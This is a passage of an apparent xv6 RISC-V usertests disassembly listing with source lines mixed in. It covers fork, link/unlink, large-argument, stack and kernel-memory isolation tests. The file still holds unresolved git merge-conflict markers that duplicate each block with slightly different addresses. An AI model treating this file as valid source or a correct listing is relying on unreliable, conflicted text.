1d8a: 7aa50513 addi a0,a0,1962 # 6530 <l_free+0xaca>
1d8e: 00004097 auipc ra,0x4
1d92: ab6080e7 jalr -1354(ra) # 5844 <printf>
exit(1);
1d96: 4505 li a0,1
1d98: 00003097 auipc ra,0x3
1d9c: 734080e7 jalr 1844(ra) # 54cc <exit>
close(open("x", O_RDWR | O_CREATE));
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1da0: 20200593 li a1,514
1da4: 8556 mv a0,s5
1da6: 00003097 auipc ra,0x3
1daa: 766080e7 jalr 1894(ra) # 550c <open>
1dae: 00003097 auipc ra,0x3
1db2: 746080e7 jalr 1862(ra) # 54f4 <close>
<<<<<<< HEAD
1db6: 34fd addiw s1,s1,-1
1db8: c88d beqz s1,1dea <linkunlink+0xd0>
1dba: 033c87bb mulw a5,s9,s3
1dbe: 012787bb addw a5,a5,s2
1dc2: 00078c9b sext.w s9,a5
1dc6: 0347f7bb remuw a5,a5,s4
1dca: dbf9 beqz a5,1da0 <linkunlink+0x86>
1dcc: 01678863 beq a5,s6,1ddc <linkunlink+0xc2>
=======
for (i = 0; i < 100; i++) {
1db6: 34fd addiw s1,s1,-1
1db8: c88d beqz s1,1dea <linkunlink+0xd0>
x = x * 1103515245 + 12345;
1dba: 033c87bb mulw a5,s9,s3
1dbe: 012787bb addw a5,a5,s2
1dc2: 00078c9b sext.w s9,a5
if ((x % 3) == 0) {
1dc6: 0347f7bb remuw a5,a5,s4
1dca: dbf9 beqz a5,1da0 <linkunlink+0x86>
} else if ((x % 3) == 1) {
1dcc: 01678863 beq a5,s6,1ddc <linkunlink+0xc2>
unlink("x");
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1dd0: 8556 mv a0,s5
1dd2: 00003097 auipc ra,0x3
1dd6: 74a080e7 jalr 1866(ra) # 551c <unlink>
1dda: bff1 j 1db6 <linkunlink+0x9c>
<<<<<<< HEAD
=======
link("cat", "x");
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1ddc: 85d6 mv a1,s5
1dde: 855e mv a0,s7
1de0: 00003097 auipc ra,0x3
1de4: 74c080e7 jalr 1868(ra) # 552c <link>
1de8: b7f9 j 1db6 <linkunlink+0x9c>
<<<<<<< HEAD
1dea: 020c0463 beqz s8,1e12 <linkunlink+0xf8>
1dee: 4501 li a0,0
1df0: 00003097 auipc ra,0x3
1df4: 6e4080e7 jalr 1764(ra) # 54d4 <wait>
=======
if (pid)
1dea: 020c0463 beqz s8,1e12 <linkunlink+0xf8>
wait(0);
1dee: 4501 li a0,0
1df0: 00003097 auipc ra,0x3
1df4: 6e4080e7 jalr 1764(ra) # 54d4 <wait>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1df8: 60e6 ld ra,88(sp)
1dfa: 6446 ld s0,80(sp)
1dfc: 64a6 ld s1,72(sp)
1dfe: 6906 ld s2,64(sp)
1e00: 79e2 ld s3,56(sp)
1e02: 7a42 ld s4,48(sp)
1e04: 7aa2 ld s5,40(sp)
1e06: 7b02 ld s6,32(sp)
1e08: 6be2 ld s7,24(sp)
1e0a: 6c42 ld s8,16(sp)
1e0c: 6ca2 ld s9,8(sp)
1e0e: 6125 addi sp,sp,96
1e10: 8082 ret
<<<<<<< HEAD
=======
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1e12: 4501 li a0,0
1e14: 00003097 auipc ra,0x3
1e18: 6b8080e7 jalr 1720(ra) # 54cc <exit>
0000000000001e1c <forktest>:
<<<<<<< HEAD
=======
void forktest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1e1c: 7179 addi sp,sp,-48
1e1e: f406 sd ra,40(sp)
1e20: f022 sd s0,32(sp)
1e22: ec26 sd s1,24(sp)
1e24: e84a sd s2,16(sp)
1e26: e44e sd s3,8(sp)
1e28: 1800 addi s0,sp,48
1e2a: 89aa mv s3,a0
<<<<<<< HEAD
1e2c: 4481 li s1,0
1e2e: 3e800913 li s2,1000
1e32: 00003097 auipc ra,0x3
1e36: 692080e7 jalr 1682(ra) # 54c4 <fork>
1e3a: 02054863 bltz a0,1e6a <forktest+0x4e>
1e3e: c115 beqz a0,1e62 <forktest+0x46>
1e40: 2485 addiw s1,s1,1
1e42: ff2498e3 bne s1,s2,1e32 <forktest+0x16>
1e46: 85ce mv a1,s3
1e48: 00005517 auipc a0,0x5
1e4c: 96050513 addi a0,a0,-1696 # 67a8 <l_free+0xd40>
1e50: 00004097 auipc ra,0x4
1e54: 9f6080e7 jalr -1546(ra) # 5846 <printf>
1e58: 4505 li a0,1
1e5a: 00003097 auipc ra,0x3
1e5e: 672080e7 jalr 1650(ra) # 54cc <exit>
1e62: 00003097 auipc ra,0x3
1e66: 66a080e7 jalr 1642(ra) # 54cc <exit>
1e6a: cc9d beqz s1,1ea8 <forktest+0x8c>
1e6c: 3e800793 li a5,1000
1e70: fcf48be3 beq s1,a5,1e46 <forktest+0x2a>
1e74: 00905b63 blez s1,1e8a <forktest+0x6e>
=======
for (n = 0; n < N; n++) {
1e2c: 4481 li s1,0
1e2e: 3e800913 li s2,1000
pid = fork();
1e32: 00003097 auipc ra,0x3
1e36: 692080e7 jalr 1682(ra) # 54c4 <fork>
if (pid < 0)
1e3a: 02054863 bltz a0,1e6a <forktest+0x4e>
if (pid == 0)
1e3e: c115 beqz a0,1e62 <forktest+0x46>
for (n = 0; n < N; n++) {
1e40: 2485 addiw s1,s1,1
1e42: ff2498e3 bne s1,s2,1e32 <forktest+0x16>
printf("%s: fork claimed to work 1000 times!\n", s);
1e46: 85ce mv a1,s3
1e48: 00005517 auipc a0,0x5
1e4c: 96050513 addi a0,a0,-1696 # 67a8 <l_free+0xd42>
1e50: 00004097 auipc ra,0x4
1e54: 9f4080e7 jalr -1548(ra) # 5844 <printf>
exit(1);
1e58: 4505 li a0,1
1e5a: 00003097 auipc ra,0x3
1e5e: 672080e7 jalr 1650(ra) # 54cc <exit>
exit(0);
1e62: 00003097 auipc ra,0x3
1e66: 66a080e7 jalr 1642(ra) # 54cc <exit>
if (n == 0) {
1e6a: cc9d beqz s1,1ea8 <forktest+0x8c>
if (n == N) {
1e6c: 3e800793 li a5,1000
1e70: fcf48be3 beq s1,a5,1e46 <forktest+0x2a>
for (; n > 0; n--) {
1e74: 00905b63 blez s1,1e8a <forktest+0x6e>
if (wait(0) < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1e78: 4501 li a0,0
1e7a: 00003097 auipc ra,0x3
1e7e: 65a080e7 jalr 1626(ra) # 54d4 <wait>
1e82: 04054163 bltz a0,1ec4 <forktest+0xa8>
<<<<<<< HEAD
1e86: 34fd addiw s1,s1,-1
1e88: f8e5 bnez s1,1e78 <forktest+0x5c>
=======
for (; n > 0; n--) {
1e86: 34fd addiw s1,s1,-1
1e88: f8e5 bnez s1,1e78 <forktest+0x5c>
if (wait(0) != -1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1e8a: 4501 li a0,0
1e8c: 00003097 auipc ra,0x3
1e90: 648080e7 jalr 1608(ra) # 54d4 <wait>
1e94: 57fd li a5,-1
1e96: 04f51563 bne a0,a5,1ee0 <forktest+0xc4>
<<<<<<< HEAD
=======
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1e9a: 70a2 ld ra,40(sp)
1e9c: 7402 ld s0,32(sp)
1e9e: 64e2 ld s1,24(sp)
1ea0: 6942 ld s2,16(sp)
1ea2: 69a2 ld s3,8(sp)
1ea4: 6145 addi sp,sp,48
1ea6: 8082 ret
<<<<<<< HEAD
1ea8: 85ce mv a1,s3
1eaa: 00005517 auipc a0,0x5
1eae: 8e650513 addi a0,a0,-1818 # 6790 <l_free+0xd28>
1eb2: 00004097 auipc ra,0x4
1eb6: 994080e7 jalr -1644(ra) # 5846 <printf>
1eba: 4505 li a0,1
1ebc: 00003097 auipc ra,0x3
1ec0: 610080e7 jalr 1552(ra) # 54cc <exit>
1ec4: 85ce mv a1,s3
1ec6: 00005517 auipc a0,0x5
1eca: 90a50513 addi a0,a0,-1782 # 67d0 <l_free+0xd68>
1ece: 00004097 auipc ra,0x4
1ed2: 978080e7 jalr -1672(ra) # 5846 <printf>
1ed6: 4505 li a0,1
1ed8: 00003097 auipc ra,0x3
1edc: 5f4080e7 jalr 1524(ra) # 54cc <exit>
1ee0: 85ce mv a1,s3
1ee2: 00005517 auipc a0,0x5
1ee6: 90650513 addi a0,a0,-1786 # 67e8 <l_free+0xd80>
1eea: 00004097 auipc ra,0x4
1eee: 95c080e7 jalr -1700(ra) # 5846 <printf>
=======
printf("%s: no fork at all!\n", s);
1ea8: 85ce mv a1,s3
1eaa: 00005517 auipc a0,0x5
1eae: 8e650513 addi a0,a0,-1818 # 6790 <l_free+0xd2a>
1eb2: 00004097 auipc ra,0x4
1eb6: 992080e7 jalr -1646(ra) # 5844 <printf>
exit(1);
1eba: 4505 li a0,1
1ebc: 00003097 auipc ra,0x3
1ec0: 610080e7 jalr 1552(ra) # 54cc <exit>
printf("%s: wait stopped early\n", s);
1ec4: 85ce mv a1,s3
1ec6: 00005517 auipc a0,0x5
1eca: 90a50513 addi a0,a0,-1782 # 67d0 <l_free+0xd6a>
1ece: 00004097 auipc ra,0x4
1ed2: 976080e7 jalr -1674(ra) # 5844 <printf>
exit(1);
1ed6: 4505 li a0,1
1ed8: 00003097 auipc ra,0x3
1edc: 5f4080e7 jalr 1524(ra) # 54cc <exit>
printf("%s: wait got too many\n", s);
1ee0: 85ce mv a1,s3
1ee2: 00005517 auipc a0,0x5
1ee6: 90650513 addi a0,a0,-1786 # 67e8 <l_free+0xd82>
1eea: 00004097 auipc ra,0x4
1eee: 95a080e7 jalr -1702(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1ef2: 4505 li a0,1
1ef4: 00003097 auipc ra,0x3
1ef8: 5d8080e7 jalr 1496(ra) # 54cc <exit>
0000000000001efc <kernmem>:
<<<<<<< HEAD
=======
void kernmem(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1efc: 715d addi sp,sp,-80
1efe: e486 sd ra,72(sp)
1f00: e0a2 sd s0,64(sp)
1f02: fc26 sd s1,56(sp)
1f04: f84a sd s2,48(sp)
1f06: f44e sd s3,40(sp)
1f08: f052 sd s4,32(sp)
1f0a: ec56 sd s5,24(sp)
1f0c: 0880 addi s0,sp,80
1f0e: 8a2a mv s4,a0
<<<<<<< HEAD
1f10: 4485 li s1,1
1f12: 04fe slli s1,s1,0x1f
1f14: 5afd li s5,-1
1f16: 69b1 lui s3,0xc
1f18: 35098993 addi s3,s3,848 # c350 <buf+0x940>
1f1c: 1003d937 lui s2,0x1003d
1f20: 090e slli s2,s2,0x3
1f22: 48090913 addi s2,s2,1152 # 1003d480 <__BSS_END__+0x1002ea60>
1f26: 00003097 auipc ra,0x3
1f2a: 59e080e7 jalr 1438(ra) # 54c4 <fork>
1f2e: 02054963 bltz a0,1f60 <kernmem+0x64>
1f32: c529 beqz a0,1f7c <kernmem+0x80>
1f34: fbc40513 addi a0,s0,-68
1f38: 00003097 auipc ra,0x3
1f3c: 59c080e7 jalr 1436(ra) # 54d4 <wait>
1f40: fbc42783 lw a5,-68(s0)
1f44: 05579c63 bne a5,s5,1f9c <kernmem+0xa0>
1f48: 94ce add s1,s1,s3
1f4a: fd249ee3 bne s1,s2,1f26 <kernmem+0x2a>
=======
for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) {
1f10: 4485 li s1,1
1f12: 04fe slli s1,s1,0x1f
if (xstatus != -1) // did kernel kill child?
1f14: 5afd li s5,-1
for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) {
1f16: 69b1 lui s3,0xc
1f18: 35098993 addi s3,s3,848 # c350 <buf+0x998>
1f1c: 1003d937 lui s2,0x1003d
1f20: 090e slli s2,s2,0x3
1f22: 48090913 addi s2,s2,1152 # 1003d480 <__BSS_END__+0x1002eab8>
pid = fork();
1f26: 00003097 auipc ra,0x3
1f2a: 59e080e7 jalr 1438(ra) # 54c4 <fork>
if (pid < 0) {
1f2e: 02054963 bltz a0,1f60 <kernmem+0x64>
if (pid == 0) {
1f32: c529 beqz a0,1f7c <kernmem+0x80>
wait(&xstatus);
1f34: fbc40513 addi a0,s0,-68
1f38: 00003097 auipc ra,0x3
1f3c: 59c080e7 jalr 1436(ra) # 54d4 <wait>
if (xstatus != -1) // did kernel kill child?
1f40: fbc42783 lw a5,-68(s0)
1f44: 05579c63 bne a5,s5,1f9c <kernmem+0xa0>
for (a = (char *)(KERNBASE); a < (char *)(KERNBASE + 2000000); a += 50000) {
1f48: 94ce add s1,s1,s3
1f4a: fd249ee3 bne s1,s2,1f26 <kernmem+0x2a>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1f4e: 60a6 ld ra,72(sp)
1f50: 6406 ld s0,64(sp)
1f52: 74e2 ld s1,56(sp)
1f54: 7942 ld s2,48(sp)
1f56: 79a2 ld s3,40(sp)
1f58: 7a02 ld s4,32(sp)
1f5a: 6ae2 ld s5,24(sp)
1f5c: 6161 addi sp,sp,80
1f5e: 8082 ret
<<<<<<< HEAD
1f60: 85d2 mv a1,s4
1f62: 00004517 auipc a0,0x4
1f66: 5ce50513 addi a0,a0,1486 # 6530 <l_free+0xac8>
1f6a: 00004097 auipc ra,0x4
1f6e: 8dc080e7 jalr -1828(ra) # 5846 <printf>
1f72: 4505 li a0,1
1f74: 00003097 auipc ra,0x3
1f78: 558080e7 jalr 1368(ra) # 54cc <exit>
1f7c: 0004c603 lbu a2,0(s1)
1f80: 85a6 mv a1,s1
1f82: 00005517 auipc a0,0x5
1f86: 87e50513 addi a0,a0,-1922 # 6800 <l_free+0xd98>
1f8a: 00004097 auipc ra,0x4
1f8e: 8bc080e7 jalr -1860(ra) # 5846 <printf>
1f92: 4505 li a0,1
1f94: 00003097 auipc ra,0x3
1f98: 538080e7 jalr 1336(ra) # 54cc <exit>
=======
printf("%s: fork failed\n", s);
1f60: 85d2 mv a1,s4
1f62: 00004517 auipc a0,0x4
1f66: 5ce50513 addi a0,a0,1486 # 6530 <l_free+0xaca>
1f6a: 00004097 auipc ra,0x4
1f6e: 8da080e7 jalr -1830(ra) # 5844 <printf>
exit(1);
1f72: 4505 li a0,1
1f74: 00003097 auipc ra,0x3
1f78: 558080e7 jalr 1368(ra) # 54cc <exit>
printf("%s: oops could read %x = %x\n", a, *a);
1f7c: 0004c603 lbu a2,0(s1)
1f80: 85a6 mv a1,s1
1f82: 00005517 auipc a0,0x5
1f86: 87e50513 addi a0,a0,-1922 # 6800 <l_free+0xd9a>
1f8a: 00004097 auipc ra,0x4
1f8e: 8ba080e7 jalr -1862(ra) # 5844 <printf>
exit(1);
1f92: 4505 li a0,1
1f94: 00003097 auipc ra,0x3
1f98: 538080e7 jalr 1336(ra) # 54cc <exit>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1f9c: 4505 li a0,1
1f9e: 00003097 auipc ra,0x3
1fa2: 52e080e7 jalr 1326(ra) # 54cc <exit>
0000000000001fa6 <bigargtest>:
<<<<<<< HEAD
=======
void bigargtest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
1fa6: 7179 addi sp,sp,-48
1fa8: f406 sd ra,40(sp)
1faa: f022 sd s0,32(sp)
1fac: ec26 sd s1,24(sp)
1fae: 1800 addi s0,sp,48
1fb0: 84aa mv s1,a0
<<<<<<< HEAD
1fb2: 00005517 auipc a0,0x5
1fb6: 86e50513 addi a0,a0,-1938 # 6820 <l_free+0xdb8>
1fba: 00003097 auipc ra,0x3
1fbe: 562080e7 jalr 1378(ra) # 551c <unlink>
1fc2: 00003097 auipc ra,0x3
1fc6: 502080e7 jalr 1282(ra) # 54c4 <fork>
1fca: c121 beqz a0,200a <bigargtest+0x64>
1fcc: 0a054063 bltz a0,206c <bigargtest+0xc6>
1fd0: fdc40513 addi a0,s0,-36
1fd4: 00003097 auipc ra,0x3
1fd8: 500080e7 jalr 1280(ra) # 54d4 <wait>
1fdc: fdc42503 lw a0,-36(s0)
1fe0: e545 bnez a0,2088 <bigargtest+0xe2>
1fe2: 4581 li a1,0
1fe4: 00005517 auipc a0,0x5
1fe8: 83c50513 addi a0,a0,-1988 # 6820 <l_free+0xdb8>
1fec: 00003097 auipc ra,0x3
1ff0: 520080e7 jalr 1312(ra) # 550c <open>
1ff4: 08054e63 bltz a0,2090 <bigargtest+0xea>
1ff8: 00003097 auipc ra,0x3
1ffc: 4fc080e7 jalr 1276(ra) # 54f4 <close>
=======
unlink("bigarg-ok");
1fb2: 00005517 auipc a0,0x5
1fb6: 86e50513 addi a0,a0,-1938 # 6820 <l_free+0xdba>
1fba: 00003097 auipc ra,0x3
1fbe: 562080e7 jalr 1378(ra) # 551c <unlink>
pid = fork();
1fc2: 00003097 auipc ra,0x3
1fc6: 502080e7 jalr 1282(ra) # 54c4 <fork>
if (pid == 0) {
1fca: c121 beqz a0,200a <bigargtest+0x64>
} else if (pid < 0) {
1fcc: 0a054063 bltz a0,206c <bigargtest+0xc6>
wait(&xstatus);
1fd0: fdc40513 addi a0,s0,-36
1fd4: 00003097 auipc ra,0x3
1fd8: 500080e7 jalr 1280(ra) # 54d4 <wait>
if (xstatus != 0)
1fdc: fdc42503 lw a0,-36(s0)
1fe0: e545 bnez a0,2088 <bigargtest+0xe2>
fd = open("bigarg-ok", 0);
1fe2: 4581 li a1,0
1fe4: 00005517 auipc a0,0x5
1fe8: 83c50513 addi a0,a0,-1988 # 6820 <l_free+0xdba>
1fec: 00003097 auipc ra,0x3
1ff0: 520080e7 jalr 1312(ra) # 550c <open>
if (fd < 0) {
1ff4: 08054e63 bltz a0,2090 <bigargtest+0xea>
close(fd);
1ff8: 00003097 auipc ra,0x3
1ffc: 4fc080e7 jalr 1276(ra) # 54f4 <close>
}
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2000: 70a2 ld ra,40(sp)
2002: 7402 ld s0,32(sp)
2004: 64e2 ld s1,24(sp)
2006: 6145 addi sp,sp,48
2008: 8082 ret
200a: 00006797 auipc a5,0x6
<<<<<<< HEAD
200e: 1ee78793 addi a5,a5,494 # 81f8 <args.1>
2012: 00006697 auipc a3,0x6
2016: 2de68693 addi a3,a3,734 # 82f0 <args.1+0xf8>
201a: 00005717 auipc a4,0x5
201e: 81670713 addi a4,a4,-2026 # 6830 <l_free+0xdc8>
2022: e398 sd a4,0(a5)
2024: 07a1 addi a5,a5,8
2026: fed79ee3 bne a5,a3,2022 <bigargtest+0x7c>
202a: 00006597 auipc a1,0x6
202e: 1ce58593 addi a1,a1,462 # 81f8 <args.1>
2032: 0e05bc23 sd zero,248(a1)
2036: 00004517 auipc a0,0x4
203a: d8250513 addi a0,a0,-638 # 5db8 <l_free+0x350>
203e: 00003097 auipc ra,0x3
2042: 4c6080e7 jalr 1222(ra) # 5504 <exec>
2046: 20000593 li a1,512
204a: 00004517 auipc a0,0x4
204e: 7d650513 addi a0,a0,2006 # 6820 <l_free+0xdb8>
2052: 00003097 auipc ra,0x3
2056: 4ba080e7 jalr 1210(ra) # 550c <open>
205a: 00003097 auipc ra,0x3
205e: 49a080e7 jalr 1178(ra) # 54f4 <close>
2062: 4501 li a0,0
2064: 00003097 auipc ra,0x3
2068: 468080e7 jalr 1128(ra) # 54cc <exit>
206c: 85a6 mv a1,s1
206e: 00005517 auipc a0,0x5
2072: 8a250513 addi a0,a0,-1886 # 6910 <l_free+0xea8>
2076: 00003097 auipc ra,0x3
207a: 7d0080e7 jalr 2000(ra) # 5846 <printf>
207e: 4505 li a0,1
2080: 00003097 auipc ra,0x3
2084: 44c080e7 jalr 1100(ra) # 54cc <exit>
2088: 00003097 auipc ra,0x3
208c: 444080e7 jalr 1092(ra) # 54cc <exit>
2090: 85a6 mv a1,s1
2092: 00005517 auipc a0,0x5
2096: 89e50513 addi a0,a0,-1890 # 6930 <l_free+0xec8>
209a: 00003097 auipc ra,0x3
209e: 7ac080e7 jalr 1964(ra) # 5846 <printf>
=======
200e: 19678793 addi a5,a5,406 # 81a0 <args.1>
2012: 00006697 auipc a3,0x6
2016: 28668693 addi a3,a3,646 # 8298 <args.1+0xf8>
args[i] = "bigargs test: failed\n "
201a: 00005717 auipc a4,0x5
201e: 81670713 addi a4,a4,-2026 # 6830 <l_free+0xdca>
2022: e398 sd a4,0(a5)
for (i = 0; i < MAXARG - 1; i++)
2024: 07a1 addi a5,a5,8
2026: fed79ee3 bne a5,a3,2022 <bigargtest+0x7c>
args[MAXARG - 1] = 0;
202a: 00006597 auipc a1,0x6
202e: 17658593 addi a1,a1,374 # 81a0 <args.1>
2032: 0e05bc23 sd zero,248(a1)
exec("echo", args);
2036: 00004517 auipc a0,0x4
203a: d8250513 addi a0,a0,-638 # 5db8 <l_free+0x352>
203e: 00003097 auipc ra,0x3
2042: 4c6080e7 jalr 1222(ra) # 5504 <exec>
fd = open("bigarg-ok", O_CREATE);
2046: 20000593 li a1,512
204a: 00004517 auipc a0,0x4
204e: 7d650513 addi a0,a0,2006 # 6820 <l_free+0xdba>
2052: 00003097 auipc ra,0x3
2056: 4ba080e7 jalr 1210(ra) # 550c <open>
close(fd);
205a: 00003097 auipc ra,0x3
205e: 49a080e7 jalr 1178(ra) # 54f4 <close>
exit(0);
2062: 4501 li a0,0
2064: 00003097 auipc ra,0x3
2068: 468080e7 jalr 1128(ra) # 54cc <exit>
printf("%s: bigargtest: fork failed\n", s);
206c: 85a6 mv a1,s1
206e: 00005517 auipc a0,0x5
2072: 8a250513 addi a0,a0,-1886 # 6910 <l_free+0xeaa>
2076: 00003097 auipc ra,0x3
207a: 7ce080e7 jalr 1998(ra) # 5844 <printf>
exit(1);
207e: 4505 li a0,1
2080: 00003097 auipc ra,0x3
2084: 44c080e7 jalr 1100(ra) # 54cc <exit>
exit(xstatus);
2088: 00003097 auipc ra,0x3
208c: 444080e7 jalr 1092(ra) # 54cc <exit>
printf("%s: bigarg test failed!\n", s);
2090: 85a6 mv a1,s1
2092: 00005517 auipc a0,0x5
2096: 89e50513 addi a0,a0,-1890 # 6930 <l_free+0xeca>
209a: 00003097 auipc ra,0x3
209e: 7aa080e7 jalr 1962(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
20a2: 4505 li a0,1
20a4: 00003097 auipc ra,0x3
20a8: 428080e7 jalr 1064(ra) # 54cc <exit>
00000000000020ac <stacktest>:
<<<<<<< HEAD
=======
void stacktest(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
20ac: 7179 addi sp,sp,-48
20ae: f406 sd ra,40(sp)
20b0: f022 sd s0,32(sp)
20b2: ec26 sd s1,24(sp)
20b4: 1800 addi s0,sp,48
20b6: 84aa mv s1,a0
<<<<<<< HEAD
20b8: 00003097 auipc ra,0x3
20bc: 40c080e7 jalr 1036(ra) # 54c4 <fork>
20c0: c115 beqz a0,20e4 <stacktest+0x38>
20c2: 04054363 bltz a0,2108 <stacktest+0x5c>
20c6: fdc40513 addi a0,s0,-36
20ca: 00003097 auipc ra,0x3
20ce: 40a080e7 jalr 1034(ra) # 54d4 <wait>
20d2: fdc42503 lw a0,-36(s0)
20d6: 57fd li a5,-1
20d8: 04f50663 beq a0,a5,2124 <stacktest+0x78>
20dc: 00003097 auipc ra,0x3
20e0: 3f0080e7 jalr 1008(ra) # 54cc <exit>
20e4: 870a mv a4,sp
20e6: 77fd lui a5,0xfffff
20e8: 97ba add a5,a5,a4
20ea: 0007c583 lbu a1,0(a5) # fffffffffffff000 <__BSS_END__+0xffffffffffff05e0>
20ee: 00005517 auipc a0,0x5
20f2: 86250513 addi a0,a0,-1950 # 6950 <l_free+0xee8>
20f6: 00003097 auipc ra,0x3
20fa: 750080e7 jalr 1872(ra) # 5846 <printf>
20fe: 4505 li a0,1
2100: 00003097 auipc ra,0x3
2104: 3cc080e7 jalr 972(ra) # 54cc <exit>
2108: 85a6 mv a1,s1
210a: 00004517 auipc a0,0x4
210e: 42650513 addi a0,a0,1062 # 6530 <l_free+0xac8>
2112: 00003097 auipc ra,0x3
2116: 734080e7 jalr 1844(ra) # 5846 <printf>
211a: 4505 li a0,1
211c: 00003097 auipc ra,0x3
2120: 3b0080e7 jalr 944(ra) # 54cc <exit>
=======
pid = fork();
20b8: 00003097 auipc ra,0x3
20bc: 40c080e7 jalr 1036(ra) # 54c4 <fork>
if (pid == 0) {
20c0: c115 beqz a0,20e4 <stacktest+0x38>
} else if (pid < 0) {
20c2: 04054363 bltz a0,2108 <stacktest+0x5c>
wait(&xstatus);
20c6: fdc40513 addi a0,s0,-36
20ca: 00003097 auipc ra,0x3
20ce: 40a080e7 jalr 1034(ra) # 54d4 <wait>
if (xstatus == -1) // kernel killed child?
20d2: fdc42503 lw a0,-36(s0)
20d6: 57fd li a5,-1
20d8: 04f50663 beq a0,a5,2124 <stacktest+0x78>
exit(xstatus);
20dc: 00003097 auipc ra,0x3
20e0: 3f0080e7 jalr 1008(ra) # 54cc <exit>
return (x & SSTATUS_SIE) != 0;
}
static inline uint64 r_sp() {
uint64 x;
asm volatile("mv %0, sp" : "=r"(x));
20e4: 870a mv a4,sp
printf("%s: stacktest: read below stack %p\n", *sp);
20e6: 77fd lui a5,0xfffff
20e8: 97ba add a5,a5,a4
20ea: 0007c583 lbu a1,0(a5) # fffffffffffff000 <__BSS_END__+0xffffffffffff0638>
20ee: 00005517 auipc a0,0x5
20f2: 86250513 addi a0,a0,-1950 # 6950 <l_free+0xeea>
20f6: 00003097 auipc ra,0x3
20fa: 74e080e7 jalr 1870(ra) # 5844 <printf>
exit(1);
20fe: 4505 li a0,1
2100: 00003097 auipc ra,0x3
2104: 3cc080e7 jalr 972(ra) # 54cc <exit>
printf("%s: fork failed\n", s);
2108: 85a6 mv a1,s1
210a: 00004517 auipc a0,0x4
210e: 42650513 addi a0,a0,1062 # 6530 <l_free+0xaca>
2112: 00003097 auipc ra,0x3
2116: 732080e7 jalr 1842(ra) # 5844 <printf>
exit(1);
211a: 4505 li a0,1
211c: 00003097 auipc ra,0x3
2120: 3b0080e7 jalr 944(ra) # 54cc <exit>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2124: 4501 li a0,0
2126: 00003097 auipc ra,0x3
212a: 3a6080e7 jalr 934(ra) # 54cc <exit>
000000000000212e <copyinstr3>:
<<<<<<< HEAD
=======
void copyinstr3(char *s) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
212e: 7179 addi sp,sp,-48
2130: f406 sd ra,40(sp)
2132: f022 sd s0,32(sp)
2134: ec26 sd s1,24(sp)
2136: 1800 addi s0,sp,48
<<<<<<< HEAD
2138: 6509 lui a0,0x2
213a: 00003097 auipc ra,0x3
213e: 41a080e7 jalr 1050(ra) # 5554 <sbrk>
2142: 4501 li a0,0
2144: 00003097 auipc ra,0x3
2148: 410080e7 jalr 1040(ra) # 5554 <sbrk>
214c: 03451793 slli a5,a0,0x34
2150: e3c9 bnez a5,21d2 <copyinstr3+0xa4>
2152: 4501 li a0,0
2154: 00003097 auipc ra,0x3
2158: 400080e7 jalr 1024(ra) # 5554 <sbrk>
215c: 03451793 slli a5,a0,0x34
2160: e3d9 bnez a5,21e6 <copyinstr3+0xb8>
2162: fff50493 addi s1,a0,-1 # 1fff <bigargtest+0x59>
2166: 07800793 li a5,120
216a: fef50fa3 sb a5,-1(a0)
216e: 8526 mv a0,s1
2170: 00003097 auipc ra,0x3
2174: 3ac080e7 jalr 940(ra) # 551c <unlink>
2178: 57fd li a5,-1
217a: 08f51363 bne a0,a5,2200 <copyinstr3+0xd2>
=======
sbrk(8192);
2138: 6509 lui a0,0x2
213a: 00003097 auipc ra,0x3
213e: 41a080e7 jalr 1050(ra) # 5554 <sbrk>
uint64 top = (uint64)sbrk(0);
2142: 4501 li a0,0
2144: 00003097 auipc ra,0x3
2148: 410080e7 jalr 1040(ra) # 5554 <sbrk>
if ((top % PGSIZE) != 0) {
214c: 03451793 slli a5,a0,0x34
2150: e3c9 bnez a5,21d2 <copyinstr3+0xa4>
top = (uint64)sbrk(0);
2152: 4501 li a0,0
2154: 00003097 auipc ra,0x3
2158: 400080e7 jalr 1024(ra) # 5554 <sbrk>
if (top % PGSIZE) {
215c: 03451793 slli a5,a0,0x34
2160: e3d9 bnez a5,21e6 <copyinstr3+0xb8>
char *b = (char *)(top - 1);
2162: fff50493 addi s1,a0,-1 # 1fff <bigargtest+0x59>
*b = 'x';
2166: 07800793 li a5,120
216a: fef50fa3 sb a5,-1(a0)
int ret = unlink(b);
216e: 8526 mv a0,s1
2170: 00003097 auipc ra,0x3
2174: 3ac080e7 jalr 940(ra) # 551c <unlink>
if (ret != -1) {
2178: 57fd li a5,-1
217a: 08f51363 bne a0,a5,2200 <copyinstr3+0xd2>
int fd = open(b, O_CREATE | O_WRONLY);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
217e: 20100593 li a1,513
2182: 8526 mv a0,s1
2184: 00003097 auipc ra,0x3
2188: 388080e7 jalr 904(ra) # 550c <open>
<<<<<<< HEAD
218c: 57fd li a5,-1
218e: 08f51863 bne a0,a5,221e <copyinstr3+0xf0>
=======
if (fd != -1) {
218c: 57fd li a5,-1
218e: 08f51863 bne a0,a5,221e <copyinstr3+0xf0>
ret = link(b, b);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2192: 85a6 mv a1,s1
2194: 8526 mv a0,s1
2196: 00003097 auipc ra,0x3
219a: 396080e7 jalr 918(ra) # 552c <link>
